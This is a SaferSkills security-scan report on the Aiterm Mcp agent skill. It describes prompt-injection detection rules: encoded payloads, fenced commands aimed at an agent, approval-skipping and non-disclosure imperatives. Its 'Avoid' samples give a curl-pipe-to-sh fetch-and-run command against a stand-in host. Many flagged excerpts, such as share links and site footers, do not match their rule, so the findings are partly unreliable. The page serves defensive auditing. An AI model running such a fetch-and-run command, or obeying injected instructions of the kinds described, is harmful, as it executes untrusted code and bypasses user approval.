Aiterm Mcp— agent skill

Aiterm Mcp — independently scanned and version-tracked by SaferSkills.

by kitepon-rgb·Agent Skill·github.com/kitepon-rgb/aiterm-mcp

Is Aiterm Mcp safe to install?

SaferSkills independently audited Aiterm Mcp (Agent Skill) and scored it 45/100 (orange). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 10 high-severity and 12 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.

Score
45/100
●●●●●○○○○○
Re-scan~30s
Latest scan
ScannedJun 24, 2026 · 133d ago
Scans run0 over 90 days
Detectors55 checks · 5 categories
Findings12 warnings · 10 high
EngineSaferSkills 2b638c6
View methodology →
SaferSkills installs
This week0
This month0
All time0
CategoryWeightCategory scoreContribution
Securityprompt, exec, net, exfil, eval
35%
0
0.0 pts
Supply chainhash, typosquat, maintainer, lockfile
20%
100
20.0 pts
Maintenancestaleness, pinning, CI
15%
100
15.0 pts
TransparencySKILL.md, perms, README
15%
100
15.0 pts
Communityinstalls, verify, response
15%
100
15.0 pts

Findings & checks · 22 flagged

Securityscore 0 · 22 findings
HIGHLong base64-encoded blob hidden in the skill documentationSS-SKILL-INJECT-B64-PAYLOAD-01 · Prompt injection · rag/sources/safety/cyberark-dont-trust-this-title.md×2
HIGH — once decoded by the agent, an encoded payload has the same impact class as plain-text injection.
Why it matters

A base64 string of 128+ characters appears in a documentation file. Encoded prompt injection hides the hostile instruction in base64 — invisible to keyword filters — and relies on the agent's ability to decode it at runtime. There is no normal authoring reason to embed a multi-hundred-byte base64 blob in skill docs.

The exact value spotted
excerptrag/sources/safety/cyberark-dont-trust-this-title.md· markdown
258* [Facebook](https://www.facebook.com/sharer/sharer.php?u=https://www.cyberark.com/resources
… (99 chars elided on L258)
259* [Twitter](https://twitter.com/share?text=Don’t Trust This Title: Abusing Terminal Emulator
… (108 chars elided on L259)
260* [Email](/cdn-cgi/l/email-protection#300f4345525a5553440d735f5e44555e441056425f5d105d491078
… (108 chars elided on L260)
261* [LinkedIn](https://www.linkedin.com/shareArticle?mini=true&url=https://www.cyberark.com/re
… (108 chars elided on L261)
262 
Occurrences
2 occurrences · first at L260, also L271
Show all 2 locations
Line
File
L260
rag/sources/safety/cyberark-dont-trust-this-title.md
L271
rag/sources/safety/cyberark-dont-trust-this-title.md
How to fix
Remove the encoded blob, or decode it and review what it actually contains.
  1. Decode the base64 string and confirm it is not an instruction directed at the agent.
  2. Move any legitimate binary or signature data into a dedicated file (*.sig, SIGNATURES) outside the documentation.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-B64-PAYLOAD-01sha256ef5c5f6d7fbc89eb…rubric 365aacaView on GitHub
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · README.md×2
HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptREADME.md· markdown
33```bash
34npm install -g aiterm-mcp@latest
35aiterm-setup --json
36```
37 
38`aiterm-setup`は端末の依存準備、MCP経由の端末実行、登録と読戻しまでを一回で行う。
39WindowsはwingetでPowerShell 7・Git for Windows・psmux、macOSはHomebrewでtmux、
40Ubuntu/Debianはsudoとaptでtmuxを準備する。必要な公式package managerと実行権限は事前に必要。
41他のLinuxでも既存tmuxを利用できるが、自動導入は`unsupported`で停止する。
Occurrences
2 occurrences · first at L33, also L434
Show all 2 locations
Line
File
L33
README.md
L434
README.md
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha25692429af6f1411474…rubric 365aacaView on GitHub
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · rag/sources/prior-art/ripple-yotsuda-shared-console.md
HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptrag/sources/prior-art/ripple-yotsuda-shared-console.md· markdown
25```bash
26claude mcp add-json ripple -s user '{"command":"npx","args":["-y","@ytsuda/ripple@latest"]}'
27```
28 
29<details>
30<summary>Claude Desktop</summary>
31 
32Add to `%APPDATA%\Claude\claude_desktop_config.json`:
33 
Occurrences
1 occurrence · at L25
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha256a089c1dcb54df982…rubric 365aacaView on GitHub
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · rag/sources/prior-art/wcgw-rusiaaman-screen-backend.md
HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptrag/sources/prior-art/wcgw-rusiaaman-screen-backend.md· markdown
144```bash
145whereis uv
146```
147Example output:
148```uv: /home/mywsl/.local/bin/uv```
149 
1502. Test the full path works:
151```
152wsl /home/mywsl/.local/bin/uv tool run --python 3.12 wcgw
Occurrences
1 occurrence · at L144
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha2568aea83e96d435f00…rubric 365aacaView on GitHub
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · rag/sources/safety/destructive-command-guard-readme.md
HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptrag/sources/safety/destructive-command-guard-readme.md· markdown
33```bash
34curl -fsSL "https://raw.githubusercontent.com/Dicklesworthstone/destructive_command_guard/ma
… (51 chars elided on L34)
35```
36 
37<p><em>Works on Linux, macOS, and Windows (WSL). Auto-detects your platform, downloads the r
… (108 chars elided on L37)
38</div>
39 
40---
41 
Occurrences
1 occurrence · at L33
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha256d6dfa7380aa7ff3e…rubric 365aacaView on GitHub
HIGHLong hex-encoded blob hidden in the skill documentationSS-SKILL-INJECT-HEX-PAYLOAD-01 · Prompt injection · rag/sources/safety/cyberark-dont-trust-this-title.md×3
HIGH — once decoded by the agent, an encoded payload has the same impact class as plain-text injection.
Why it matters

A hex string of 256+ characters appears in a documentation file — well above a single SHA-256 hash (64 chars). Like its base64 sibling, hex-encoding hides a hostile instruction from keyword filters while staying trivially decodable by the agent at runtime.

The exact value spotted
excerptrag/sources/safety/cyberark-dont-trust-this-title.md· markdown
258* [Facebook](https://www.facebook.com/sharer/sharer.php?u=https://www.cyberark.com/resources
… (99 chars elided on L258)
259* [Twitter](https://twitter.com/share?text=Don’t Trust This Title: Abusing Terminal Emulator
… (108 chars elided on L259)
260* [Email](/cdn-cgi/l/email-protection#300f4345525a5553440d735f5e44555e441056425f5d105d491078
… (108 chars elided on L260)
261* [LinkedIn](https://www.linkedin.com/shareArticle?mini=true&url=https://www.cyberark.com/re
… (108 chars elided on L261)
262 
Occurrences
3 occurrences · first at L260, also L271, L1000
Show all 3 locations
Line
File
L260
rag/sources/safety/cyberark-dont-trust-this-title.md
L271
rag/sources/safety/cyberark-dont-trust-this-title.md
L1000
rag/sources/safety/cyberark-dont-trust-this-title.md
How to fix
Remove the encoded blob, or decode it and review what it actually contains.
  1. Decode the hex string and confirm it is not an instruction directed at the agent.
  2. Keep legitimate hashes (single SHA-256, 64 chars) and move bulk binary data into a dedicated file outside the documentation.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-HEX-PAYLOAD-01sha256ef5c5f6d7fbc89eb…rubric 365aacaView on GitHub
MEDIUMInstruction telling the agent not to ask for approvalSS-SKILL-INJECT-DONT-ASK-01 · Prompt injection · rag/sources/ansi-handling/terminal-coding-agent-context-engineering.md
MEDIUM — it fires on intent; the real damage depends on the host agent's own approval-gating.
Why it matters

The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.

The exact value spotted
excerptrag/sources/ansi-handling/terminal-coding-agent-context-engineering.md· markdown
4348- Single file edit or quick refactor
4349- Simple grep/search operation
4350- Reading one or two files
4351- Running a single command
4352- Quick answer from existing context
Occurrences
1 occurrence · at L4350
How to fix
Remove the approval-skipping instruction, or scope it narrowly to a specific safe, reversible action.
  1. Delete blanket "don't ask / no need to confirm" directives from the skill.
  2. If the skill is a genuine autonomous job, restrict the opt-out to a named non-destructive action rather than all actions.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-DONT-ASK-01sha2565084aa178cfd9d97…rubric 365aacaView on GitHub
MEDIUMInstruction telling the agent not to ask for approvalSS-SKILL-INJECT-DONT-ASK-01 · Prompt injection · rag/sources/completion-detection/codex-0154-mcp-call-metadata.md
MEDIUM — it fires on intent; the real damage depends on the host agent's own approval-gating.
Why it matters

The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.

The exact value spotted
excerptrag/sources/completion-detection/codex-0154-mcp-call-metadata.md· markdown
1380pub(crate) const MCP_TOOL_APPROVAL_ACCEPT: &str = "Allow";
1381pub(crate) const MCP_TOOL_APPROVAL_ACCEPT_FOR_SESSION: &str = "Allow for this session";
1382const MCP_TOOL_APPROVAL_ACCEPT_AND_REMEMBER: &str = "Allow and don't ask me again";
1383const MCP_TOOL_APPROVAL_CANCEL: &str = "Cancel";
1384 
Occurrences
1 occurrence · at L1382
How to fix
Remove the approval-skipping instruction, or scope it narrowly to a specific safe, reversible action.
  1. Delete blanket "don't ask / no need to confirm" directives from the skill.
  2. If the skill is a genuine autonomous job, restrict the opt-out to a named non-destructive action rather than all actions.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-DONT-ASK-01sha256ce5204b52388d24f…rubric 365aacaView on GitHub
MEDIUMInstruction telling the agent not to ask for approvalSS-SKILL-INJECT-DONT-ASK-01 · Prompt injection · rag/sources/discoverability/claude-code-mcp-configuration.md
MEDIUM — it fires on intent; the real damage depends on the host agent's own approval-gating.
Why it matters

The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.

The exact value spotted
excerptrag/sources/discoverability/claude-code-mcp-configuration.md· markdown
1114 
1115If you’re building an MCP server, you can mark a tool as requiring explicit approval on ever
… (108 chars elided on L1115)
1116Claude Code shows that tool’s permission prompt on every call, even in `acceptEdits`, `auto`
… (108 chars elided on L1116)
1117The prompt has to reach a person. In non-interactive mode with [`--permission-prompt-tool`](
… (108 chars elided on L1117)
1118Use this for tools whose permission prompt is itself the point, such as a consent or access-
… (107 chars elided on L1118)
Occurrences
1 occurrence · at L1116
How to fix
Remove the approval-skipping instruction, or scope it narrowly to a specific safe, reversible action.
  1. Delete blanket "don't ask / no need to confirm" directives from the skill.
  2. If the skill is a genuine autonomous job, restrict the opt-out to a named non-destructive action rather than all actions.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-DONT-ASK-01sha256c263e162a87e86d8…rubric 365aacaView on GitHub
MEDIUMInstruction telling the agent not to ask for approvalSS-SKILL-INJECT-DONT-ASK-01 · Prompt injection · rag/sources/installation/homebrew-opt-prefix.md×3
MEDIUM — it fires on intent; the real damage depends on the host agent's own approval-gating.
Why it matters

The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.

The exact value spotted
excerptrag/sources/installation/homebrew-opt-prefix.md· markdown
1150 
1151`-y`, `--no-ask`
1152: Do not ask for confirmation before downloading and installing. Ask mode is the
1153default. Enabled by default if `$HOMEBREW_NO_ASK` is set.
1154 
Occurrences
3 occurrences · first at L1152, also L1557, L2020
Show all 3 locations
Line
File
L1152
rag/sources/installation/homebrew-opt-prefix.md
L1557
rag/sources/installation/homebrew-opt-prefix.md
L2020
rag/sources/installation/homebrew-opt-prefix.md
How to fix
Remove the approval-skipping instruction, or scope it narrowly to a specific safe, reversible action.
  1. Delete blanket "don't ask / no need to confirm" directives from the skill.
  2. If the skill is a genuine autonomous job, restrict the opt-out to a named non-destructive action rather than all actions.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-DONT-ASK-01sha25668b030f55bcd484a…rubric 365aacaView on GitHub
MEDIUMInstruction telling the agent not to ask for approvalSS-SKILL-INJECT-DONT-ASK-01 · Prompt injection · rag/sources/prior-art/harbor-terminus-2-agent-doc.md
MEDIUM — it fires on intent; the real damage depends on the host agent's own approval-gating.
Why it matters

The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.

The exact value spotted
excerptrag/sources/prior-art/harbor-terminus-2-agent-doc.md· markdown
81Terminus-2 is designed to operate without human intervention:
82 
83* **Will never ask for user input** during task execution
84* Independently attempts to complete tasks end-to-end
85* Currently recommended only for sandboxed environments due to full autonomy
Occurrences
1 occurrence · at L83
How to fix
Remove the approval-skipping instruction, or scope it narrowly to a specific safe, reversible action.
  1. Delete blanket "don't ask / no need to confirm" directives from the skill.
  2. If the skill is a genuine autonomous job, restrict the opt-out to a named non-destructive action rather than all actions.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-DONT-ASK-01sha25614b7852251bf4666…rubric 365aacaView on GitHub
MEDIUMInstruction telling the agent not to ask for approvalSS-SKILL-INJECT-DONT-ASK-01 · Prompt injection · rag/sources/prior-art/terminus-tmux-agent-harness.md
MEDIUM — it fires on intent; the real damage depends on the host agent's own approval-gating.
Why it matters

The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.

The exact value spotted
excerptrag/sources/prior-art/terminus-tmux-agent-harness.md· markdown
56### [Autonomy-First](#autonomy-first)
57 
58Terminus will never ask for user input and will instead independently push to complete its t
… (108 chars elided on L58)
59 
60Written by
Occurrences
1 occurrence · at L58
How to fix
Remove the approval-skipping instruction, or scope it narrowly to a specific safe, reversible action.
  1. Delete blanket "don't ask / no need to confirm" directives from the skill.
  2. If the skill is a genuine autonomous job, restrict the opt-out to a named non-destructive action rather than all actions.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-DONT-ASK-01sha25614b7852251bf4666…rubric 365aacaView on GitHub
MEDIUM"Never tell the user" non-disclosure imperative in the skillSS-SKILL-INJECT-IMPERATIVE-01 · Prompt injection · rag/sources/backends/tmux-control-mode-wiki.md
MEDIUM — it fires on intent; whether the agent honors the non-disclosure imperative depends on the host model.
Why it matters

A bulleted imperative like {match} tells the agent to never reveal, disclose, or mention something to the user. Used adversarially it can instruct the agent to hide its tool calls or lie about what it did — stripping the transparency a user relies on to trust the agent.

The exact value spotted
excerptrag/sources/backends/tmux-control-mode-wiki.md· markdown
594* [Contact](https://support.github.com?tags=dotcom-footer)
595* Manage cookies
596* Do not share my personal information
597 
598You can’t perform that action at this time.
Occurrences
1 occurrence · at L596
How to fix
Remove the non-disclosure imperative, or rescope it so it limits output format, not honesty to the user.
  1. Delete any "never reveal / never tell the user" line aimed at the model's own behavior.
  2. Keep legitimate confidentiality rules about external data (e.g. "do not echo API keys"), which are user-protective, not user-deceiving.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-IMPERATIVE-01sha256d34d7e3383eafa97…rubric 365aacaView on GitHub
MEDIUM"Never tell the user" non-disclosure imperative in the skillSS-SKILL-INJECT-IMPERATIVE-01 · Prompt injection · rag/sources/backends/tmux-getting-started-wiki.md
MEDIUM — it fires on intent; whether the agent honors the non-disclosure imperative depends on the host model.
Why it matters

A bulleted imperative like {match} tells the agent to never reveal, disclose, or mention something to the user. Used adversarially it can instruct the agent to hide its tool calls or lie about what it did — stripping the transparency a user relies on to trust the agent.

The exact value spotted
excerptrag/sources/backends/tmux-getting-started-wiki.md· markdown
1710* [Contact](https://support.github.com?tags=dotcom-footer)
1711* Manage cookies
1712* Do not share my personal information
1713 
1714You can’t perform that action at this time.
Occurrences
1 occurrence · at L1712
How to fix
Remove the non-disclosure imperative, or rescope it so it limits output format, not honesty to the user.
  1. Delete any "never reveal / never tell the user" line aimed at the model's own behavior.
  2. Keep legitimate confidentiality rules about external data (e.g. "do not echo API keys"), which are user-protective, not user-deceiving.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-IMPERATIVE-01sha256d34d7e3383eafa97…rubric 365aacaView on GitHub
MEDIUM"Never tell the user" non-disclosure imperative in the skillSS-SKILL-INJECT-IMPERATIVE-01 · Prompt injection · rag/sources/completion-detection/tmux-osc-133-passthrough-issue.md
MEDIUM — it fires on intent; whether the agent honors the non-disclosure imperative depends on the host model.
Why it matters

A bulleted imperative like {match} tells the agent to never reveal, disclose, or mention something to the user. Used adversarially it can instruct the agent to hide its tool calls or lie about what it did — stripping the transparency a user relies on to trust the agent.

The exact value spotted
excerptrag/sources/completion-detection/tmux-osc-133-passthrough-issue.md· markdown
292* [Contact](https://support.github.com?tags=dotcom-footer)
293* Manage cookies
294* Do not share my personal information
295 
296You can’t perform that action at this time.
Occurrences
1 occurrence · at L294
How to fix
Remove the non-disclosure imperative, or rescope it so it limits output format, not honesty to the user.
  1. Delete any "never reveal / never tell the user" line aimed at the model's own behavior.
  2. Keep legitimate confidentiality rules about external data (e.g. "do not echo API keys"), which are user-protective, not user-deceiving.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-IMPERATIVE-01sha256d34d7e3383eafa97…rubric 365aacaView on GitHub
MEDIUM"Never tell the user" non-disclosure imperative in the skillSS-SKILL-INJECT-IMPERATIVE-01 · Prompt injection · rag/sources/safety/swiftterm-cve-2022-23465-title-injection.md
MEDIUM — it fires on intent; whether the agent honors the non-disclosure imperative depends on the host model.
Why it matters

A bulleted imperative like {match} tells the agent to never reveal, disclose, or mention something to the user. Used adversarially it can instruct the agent to hide its tool calls or lie about what it did — stripping the transparency a user relies on to trust the agent.

The exact value spotted
excerptrag/sources/safety/swiftterm-cve-2022-23465-title-injection.md· markdown
347* [Contact](https://support.github.com?tags=dotcom-footer)
348* Manage cookies
349* Do not share my personal information
350 
351You can’t perform that action at this time.
Occurrences
1 occurrence · at L349
How to fix
Remove the non-disclosure imperative, or rescope it so it limits output format, not honesty to the user.
  1. Delete any "never reveal / never tell the user" line aimed at the model's own behavior.
  2. Keep legitimate confidentiality rules about external data (e.g. "do not echo API keys"), which are user-protective, not user-deceiving.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-IMPERATIVE-01sha256d34d7e3383eafa97…rubric 365aacaView on GitHub
Supply chainscore 100 · 0 findings
✓—All supply chain checks passedNo findings in this category for the latest scan.pass
Maintenancescore 100 · 0 findings
✓—All maintenance checks passedNo findings in this category for the latest scan.pass
Transparencyscore 100 · 0 findings
✓—All transparency checks passedNo findings in this category for the latest scan.pass
Communityscore 100 · 0 findings
✓—All community checks passedNo findings in this category for the latest scan.pass
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Audit the pieces. Scan the whole. Decide.

~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.